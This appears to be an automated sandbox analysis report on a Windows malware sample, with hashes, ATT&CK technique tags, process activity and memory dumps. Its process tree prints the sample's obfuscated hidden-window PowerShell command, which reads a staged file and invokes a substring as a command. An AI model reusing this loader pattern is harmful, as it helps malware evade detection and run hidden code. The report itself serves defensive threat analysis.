cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382

Analysis

max time kernel
19s
max time network
20s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
08-02-2025 04:29

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General

Target

cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe
Size

930KB
MD5

18cb6529a2a76b61525e325c8bcb655c
SHA1

6f8a09e90e79d3ee48c8ff76bb89f76adc7a2ca1
SHA256

cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382
SHA512

80edaa6f24461f814f9748f8f67fb901e8731e89024d7e0239220282204601b9e7ba727968cb7086a63d3154a8e703242ac915e88dd7110c75224d35bb7d938d
SSDEEP

24576:PuA8nLoZQSVTkp2jT6RJNBIQll+hQT2jiux5f:1AoZBop2juRFIQlluQsx1

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1716	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1268	cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1268 wrote to memory of 1716	1268	cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe	29
PID 1268 wrote to memory of 1716	1268	cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe	29
PID 1268 wrote to memory of 1716	1268	cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe	29
PID 1268 wrote to memory of 1716	1268	cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe	29

C:\Users\Admin\AppData\Local\Temp\cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe
"C:\Users\Admin\AppData\Local\Temp\cfc18a036f28fc7a233ed8daaf747998a84b66fe3bd91d5decc45d61f1e45382.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Skylark=gc -raw 'C:\Users\Admin\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Smutches\Jormungandr.Mos';$Gymnaster=$Skylark.SubString(69514,3);.$Gymnaster($Skylark) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\nsu89E9.tmp\nsExec.dll

Filesize
6KB

MD5
51e63a9c5d6d230ef1c421b2eccd45dc

SHA1
c499cdad5c613d71ed3f7e93360f1bbc5748c45d

SHA256
cd8496a3802378391ec425dec424a14f5d30e242f192ec4eb022d767f9a2480f

SHA512
c23d713c3c834b3397c2a199490aed28f28d21f5781205c24df5e1e32365985c8a55be58f06979df09222740ffa51f4da764ebc3d912cd0c9d56ab6a33cab522

Download Submit
memory/1716-14-0x0000000074511000-0x0000000074512000-memory.dmp

Filesize
4KB

Download
memory/1716-15-0x0000000074510000-0x0000000074ABB000-memory.dmp

Filesize
5.7MB

Download
memory/1716-16-0x0000000074510000-0x0000000074ABB000-memory.dmp

Filesize
5.7MB

Download
memory/1716-17-0x0000000074510000-0x0000000074ABB000-memory.dmp

Filesize
5.7MB

Download
memory/1716-18-0x0000000074510000-0x0000000074ABB000-memory.dmp

Filesize
5.7MB

Download